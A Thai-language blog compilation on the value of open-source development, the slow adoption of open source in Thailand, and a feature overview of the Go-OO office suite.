เบื้องหลังซอฟต์แวร์โอเพนซอร์สส่วนใหญ่พัฒนามาจากนักพัฒนาหลายคน อย่างมากก็นับพันคน โครงการใหญ่ๆ อย่าง Linux Kernel, Debian, Fedora เป็นต้น ขอยกตัวอย่างเฉพาะ Real Open Source Software นะครับ ด้วยกระแสการพัฒนาซอฟต์แวร์แบบนี้หลายคนมองเห็นข้อดี ข้อเสีย แตกต่างกันไป ลองไปอ่านในหนังสือ The Cathedral and the Bazaar ของ ESR ดูนะครับ จะพบว่าการเปลี่ยนแปลงจาก propietary เป็น open source มันมีเหตุผลที่หนักแน่นชัดเจน ส่วนใหญ่เหตุผลเหล่านี้มักถูกลืมเลือน ทุกวันนี้คำว่าโอเพนซอร์ส (Open Source) กลายเป็นจุดขายทางการตลาด เอาจุดเด่นของโอเพนซอร์ส มาสร้างคุณค่าให้กับผลิตภัณฑ์ ซึ่งคุณค่าเหล่านี้เป็นกระแสเสียมากกว่า แล้วคุณค่าของการพัฒนาซอฟต์แวร์แบบโอเพนซอร์สคืออะไร?

คำตอบของผมเกี่ยวกับการพัฒนาซอฟต์แวร์แล้วเปิดเป็นโอเพนซอร์สนั้นง่ายมาก "ผมอยากให้มีคนมาช่วยผมเขียนโปรแกรม ผมอยากเห็นซอฟต์แวร์ของผมพัฒนาไปเรื่อยๆ ในวิถีของโอเพนซอร์ส" อาจจะดูบ้าๆ บอๆ แต่ผมได้ทดลอง ทดสอบ ในหลากหลายวิธีการ แต่ก็มีหลายคนแย้งว่า "ความคิดแบบนี้ ใช้กับปัจจุบันไม่ได้" เพราะเดี๋ยวนี้ "Software as a Services" หรือ "SaaS" ทุกๆ ค่ายก้อพยายามที่จะลดรายจ่ายในเรื่อง up-front investment นั่นหมายความว่า "ซอฟต์แวร์โอเพนซอร์ส ไม่ได้เป็นซอฟต์แวร์ประเภทเดียวที่สามารถลดราจ่ายในเรื่อง up-front investment " หากมองในแง่ของธุรกิจซอฟต์แวร์นั่นเป็นความจริง เพราะเดี๋ยวนี้ไม่มีใครขายซอฟต์แวร์เดี่ยวๆ แล้วไปรอด ต้องพัฒนาออกมาในรูปแบบของโซลูชั่น หรืออะไรสักอย่าง นั่นหมายความว่า ซอฟต์แวร์ ไลบรารี และอื่นๆ ที่เกี่ยวข้อกับโอเพนซอร์สจะถูกฝังเข้าไปอยู่ในโซลูชั่นที่ปิด ไม่ได้เป็นโอเพนซอร์สอีกต่อไปอย่างนั้นหรือ? แล้วจุดมุ่งหมายของการพัฒนาซอฟต์แวร์โอเพนซอร์สล่ะคืออะไร?

ผมคิดว่าเรามาดูเนื้อหาในเพลง Free Software กันดีกว่า คุณจะเข้าใจถึงจุดมุ่งหมายของการพัฒนาซอฟต์แวร์โอเพนซอร์ส และอาจจะเข้าใจแนวคิดที่ออกจะหักดิบของ Free Software ด้วย เนื้อเพลงมีดังนี้

Join us now and share the software;
You’ll be free, hackers, you’ll be free.

Hoarders may get piles of money,
That is true, hackers, that is true.
But they cannot help their neighbors;
That’s not good, hackers, that’s not good.

When we have enough free software
At our call, hackers, at our call,
We’ll throw out those dirty licenses
Ever more, hackers, ever more.

Join us now and share the software;
You’ll be free, hackers, you’ll be free.

ประเด็นหลักของซอฟต์แวร์เสรีและโอเพนซอร์สซอฟต์แวร์ คือ การช่วยเหลือกันในการพัฒนาซอฟต์แวร์ แบ่งปันและแจกจ่ายซอฟต์แวร์ให้กับคนอื่น ให้สิทธิ์ในการเข้าถึง แก้ไข ดัดแปลง และแจกจ่ายกับคนอื่น นี่คือใจความที่ซ่อนอยู่ในการพัฒนาซอฟต์แวร์แบบซอฟต์แวร์เสรี และอยู่ในการพัฒนาซอฟต์แวร์แบบโอเพนซอร์ส กลับมาที่คำถาม คุณค่าของการพัฒนาซอฟต์แวร์แบบโอเพนซอร์สคืออะไร?

พี่เทพหรือเทพพิทักษ์ การุณบุญญานันท์ เป็นบุคคลตัวอย่างที่ทำให้เป็นว่า คุณค่าของการพัฒนาซอฟต์แวร์แบบโอเพนซอร์สคืออะไร? หากคุณใช้ debian หรือ ubuntu คุณจะพบว่าภาษาไทยบน debian และ ubuntu แสดงผล พิมพ์ มีฟอนต์สวยๆ มากกว่า linux distribution อื่นๆ นี่แหละ คือคุณค่าของการพัฒนาซอฟต์แวร์แบบโอเพนซอร์ส ยกตัวอย่างอีกสักตัวอย่างหนึ่ง เมื่อเดือนเมษายนปีที่แล้ว (2008) blognone, L10n และนักพัฒนาอิสระ รวมตัวกันในชื่อ House 2.0 เพื่อสร้างสรรค์ผลงานการ contribute ภาษาไทยเข้าไปในโครงการเว็บเบราว์เซอร์ที่มีจำนวนผู้ใช้มากขึ้นเรื่อยๆ อย่าง firefox ของ mozilla foundation จากการรวมพล เพียงไม่กี่เดือน FireFox 3.0.1 ก้อมีแพคเกจภาษาไทยออกมาให้ดาวน์โหลด และปัจจุบัน FireFox 3.0.5 กำลังจะขึ้น 3.0.6 ก้อมีเวอร์ชั่นภาษาไทยมาให้ใช้กันแล้ว คุณค่าของการพัฒนาซอฟต์แวร์แบบโอเพนซอร์สมันเกิดตรงนี้ คุณค่าแอบแฝงจากการพัฒนาซอฟต์แวร์แบบโอเพนซอร์ส ในกรณีของ House 2.0 คือ ทุกคนรู้จักกัน รวมตัวกันทำกิจกรรมอื่นๆ นอกจากงาน contribute เข้า mozilla ทำกิจกรรมและช่วยเหลือกันในเรื่องอื่นๆ ได้ เช่น เล่น Wii หรือทำกิจกรรมดีๆ เพื่อสังคมได้ เป็นต้น กลับมาที่คำถามคุณพัฒนาซอฟต์แวร์โอเพนซอร์สทำไม?

ผมถามเพื่อนของผมกลับไปว่าทำไมถึงซอบโอเพนซอร์สนัก แล้วคุณพัฒนาซอฟต์แวร์โอเพนซอร์สทำไม? เพื่อนของผมตอบสั้นๆ ว่า "ถ้าไม่พัฒนาซอฟต์แวร์โอเพนซอร์ส ก้อไม่เข้าใจว่าโอเพนซอร์สเป็นยังไง" อืมม ตอบสั้นๆ กำกวมๆ เหมือนจะไม่ได้คำตอบ หากคุณพัฒนาซอฟต์แวร์โอเพนซอร์สอยู่ หรือเป็น contributor อยู่คุณล่ะพัฒนาซอฟต์แวร์โอเพนซอร์สทำไม?

http://www.thaiopensource.org/node/914

22 กุมภาพันธ์, 2552

โอเพนซอร์สของไทยทำไมไปไม่ถึงไหน





เผลอเดี๋ยวเดียวก็เข้ามาอยู่ในวงการโอเพนซอร์สบ้านเราก็เกือบ 10 ปีเข้าไปแล้ว ที่ผ่านมาก็ได้เห็นได้เจออะไรมากมาย ตั้งแต่สมัยที่ยังไม่ใครรู้จักโอเพนซอร์สเลย เรื่อยมาจนถึงสมัยที่โอเพนซอร์สโด่งดังทำท่าว่าจะมีอนาคตอันสดใส แต่จนแล้วจนรอดมันก็กลายเป็นแค่พลุที่ลอยขึ้นสูงแตกออกแล้วก็จางหายไป เรื่องนี้น่าเป็นห่วงมากหากจะยังปล่อยวางเอาไว้แบบนี้ เพราะไม่รู้ว่าจะต้องเสียเงินไปซื้อพลุมาจุดอีกมากเท่าไร หรือจะต้องรอจุดเฉพาะช่วงเทศกาลปีใหม่ (หรือไม่ก็ลอยกระทง)

เรามาลองค้นหาคำตอบด้วยกันไหมว่าทำไมโอเพนซอร์สในบ้านเราเป็นได้แค่ “พลุ” หนึ่งในคำตอบก็คงจะเป็นเรื่องของความเข้าใจผิดตั้งแต่แรกว่าโอเพนซอร์สนั้น เป็นของฟรีไม่เสียเงิน แทนที่จะมองว่าโอเพนซอร์สเป็นเรื่องของการมีส่วนร่วมหรือการให้ (contribute) หลายคนบอกว่าเรื่องนี้ต้องไปโทษหน่วยงานที่ทำการโปรโมทให้ใช้โอเพนซอร์สที่ เอะอะก็ยกเรื่องฟรีขึ้นมาเป็นตัวนำ ทำเอาหลายคนเข้าใจว่านี่คือของฟรีที่ดีที่สุดในโลก พอเอาเข้าจริงๆ ก็กลายเป็นของฟรีที่ไม่ดีจริงไปซะอย่างนั้น

จะโทษหน่วยงานที่โปรโมทก็ไม่ได้ เพราะต้องยอมรับว่าข้อความแบบนี้มันส่งผลเร็วทันใจ คนจำนวนไม่น้อยที่พากันเฮโลเข้ามาลองของกันมากมาย แต่ด้วยความคาดหวังที่สูงมากๆ ทำให้ต้องผิดหวังแรงๆ เช่นกัน ก็โอเพนซอร์สไม่ใช่ของวิเศษที่จะแก้ปัญหาหรือทำงานให้ถูกใจใครไปได้ทั้งหมด แท้จริงแล้วมันเป็นสังคมของการแบ่งปันและมีส่วนร่วม ยกตัวอย่างเช่นหากใช้งานแล้วพบว่ามีข้อผิดพลาดหรือ errror คนใช้งานที่เข้าใจโอเพนซอร์สก็จะทำการรายงานข้อผิดพลาดกลับไปยังทีมพัฒนา เพื่อทำการแก้ไข (และคนอื่นที่มาใช้ทีหลังจะได้ไม่ต้องเจอปัญหาแบบนี้อีก) ยิ่งทำซอฟต์แวร์ก็ยิ่งสมบูรณ์ขึ้น แต่เสียดายที่คนไทยน้อยคนนักที่จะทำแบบนี้ ตรงกันข้ามเวลาที่เจอปัญหานอกจากจะไม่ทำการแจ้งข้อผิดพลาดเท่านั้นยังไม่พอ ยังทำการเมาท์ทูเมาท์กันไปอีกว่า "ห่วย" ซึ่งการกระทำแบบนี้มันไม่แฟร์กับโอเพนซอร์สเลย ในสถานะการณ์เดียวกันถ้าเรื่องแบบนี้เกิดกลับซอฟต์แวร์ชื่อดังจาก Redmond การไม่แจ้งข้อผิดพลาดกลับก็เป็นสิ่งที่ทำเหมือนกัน แต่ไม่มีการเมาท์ทูเมาท์ต่อแต่อย่างไร หรือถ้าเกิดไปปรับทุกข์เรื่องนี้กับคนรอบข้างก็จะได้คำตอบว่า "ธรรมดามันเป็นเรื่องธรรมดา" เฮ้อ...คิดแล้วเหนื่อยใจอย่างบอกไม่ถูก

นั่นคงจะเป็นคำอธิบายได้ว่าทำไมเรื่องโอเพนซอร์สในบ้านเราถึงไม่แพร่หลาย มากอย่างที่ควรจะเป็น ทั้งๆ ที่ประเทศเพื่อนบ้านเริ่มทีหลังแต่ก็ดูแล้วก้าวหน้าเป็นหลักเป็นฐานมากกว่า บ้านเรานัก พอถามความเห็นเรื่องนี้หลายคนก็ให้คำตอบคล้ายๆ จะโยนความผิดไปให้ระบบการปกครองกันเลยทีเดียว บอกว่าเวียดนามถ้านายพลสั่งว่าลีนุกซ์ก็ลีนุกซ์กันทั้งประเทศ แม้แต่จีนกับคิวบาก็ว่ากันไปว่าระบบการปกครองเอื้ออำนวย (น่าตกใจไหมครับว่าซอฟต์แวร์แห่งเสรีภาพที่เกิดจากชุมชนกลับไปเบ่งบานที่ ระบบสังคมนิยม)

แต่ประเทศในยุโรปที่เป็นประชาธิปไตยโอเพนซอร์ส์ก็ได้รับการยอมรับอย่าง มากมาย นี่คงพอจะตอบได้ว่าเรื่องของระบบการปกครองประเทศไม่น่าจะเกี่ยวข้อง กับเรื่องนี้... แล้วมันอยู่ที่ตรงไหนดีละ เอาเป็นว่าเปิดใจกันอย่างแฟร์ๆ ผมว่าคนไทยหลายคนยังไม่พร้อมที่จะรับโอเพนซอร์สซอฟต์แวร์ไปใช้ ส่วนใครที่เข้าใจและพร้อมใช้งานแล้วก็ขอแสดงความยินดีด้วย ส่วนใครที่ยังไม่เข้าใจคงต้องรอให้ซอฟต์แวร์เถื่อนหมดไปจากประเทศหรือไม่ก็ รอให้ BSA ไปจับ แล้วคุณหละคิดว่าทำไมโอเพนซอร์สบ้านเราถึงไม่คืบหน้าอย่างที่ควรจะเป็น...

มาดู Go-OO! กัน



Go-OO เป็น Open Office ที่นำเอาคุณสมบัติอย่าง OpenXML และการใช้งานไฟล์เอกสารเพื่อให้ Open Office ทำงานกับไฟล์เอกสารของ Microsoft Office ได้ดีขึ้น ตัวอย่างเช่นการใช้ field นอกจากจะทำงานได้ดีกับไฟล์เอกสารตระกูล Office แล้วการเปิดใช้รูปภาพรจาก WordPerfect ก้อทำได้ดียิ่งขึ้นด้วย อ้อและที่สำคัญหากไฟล์ Excel ของคุณมีมาโคร VBA Go-OO ก้อสามารถรันมาโครนั้นได้ทันที หาคุณกำลังคาดหวังกับการเปลี่ยนมาใช้ Open Office และยังกังกลกับการคำนวนบน Excel หรือกังวลกับเอกสารที่มีไฟล์ Visio พ่วงอยู่ในเอกสารแล้วจะทำงานบน Open Office ไม่ได้ Go-OO คือทางออกของคุณครับ :)

Go-OO มาพร้อมกับหน้าจอโปรแกรมที่คล้ายกับ Open Office แตกต่างกันเพียงนิดหน่อย ซึ่งจากจากจะแก้ปัญหาเรื่องความเข้ากันได้ของเอกสาร Go-OO ยังสามารถใส่มัลติมีเดียที่ใช้งานกันบน Linux ได้อย่างง่ายดาย เช่น ไฟล์มัลติมีเดียบน GStreamer, SVG, 3D trasitions เป็นต้น การแสดงผลเอกสารภาษาจีนที่ถูกต้องสมบูรณ์ และยังไม่หมดเพียงแค่นี้ Go-OO ยังทำงานได้กับ file selector บน Linux ได้เป็นอย่างดี ทำให้คุณไม่รู้สึกถึงความแตกต่างในการใช้งานโปรแกรม

Go-OO ทำงานได้เร็วตั้งแต่โหลดโปรแกรมมีโปรแกรมฝังตัวใน System Tray เพื่อให้ง่านในการเรียกใช้โปรแกรม ซึ่งโดยปกติบน Linux ไม่มี ทำให้การทำงานของ Go-OO ทำงานบน Linux ได้เร็วมากขึ้น ใช้ memory น้อยลง ประสิทธิภาพการทำงานดีขึ้น หากคุณเป็น Contributor ต้องการพัฒนาคุณสมบัติใหม่ๆ หรือแก้ไขบักใน Go-OO ก้อสามารถทำได้ง่าย ไม่ยุ่งยาก ซึ่ง Go-OO มีทีมงาทคอยจัดการเรื่อง code review เพียงแค่ส่ง patch ผ่านทางระบบ mailling list เท่านั้น ไม่ต้องกังวนเรื่อง patch ไม่ดีเรามีทีมงานคอยช่วยเหลือในการปรับปรุง patch ของคุณ Go-OO เลือกใช้ LGPLv3 และ CDDL เป็นสัญญาอนุญาติทำให้โค้ดยังคงอยู่มีการพัฒนาเพิ่มเติมได้และมีการปรับปรุง ได้ง่ายและที่สำคัญสามารถพัฒนาให้สามารถทำงานได้กับ ชุดโปรแกรม Office อื่นๆ ได้

มาดูคุณสมบัติเด่นใน Go-OO กัน

SVG Support



3D transitions



Rich fields support


Startup performance


Unix systray quick-starter


Calc solver


Excel interoperability


VBA support


Mono integration


GStreamer integration


Text Grid rendering


EMF rendering


MS-Work import


WordPerfect Graphics import


ที่มา - Go-OO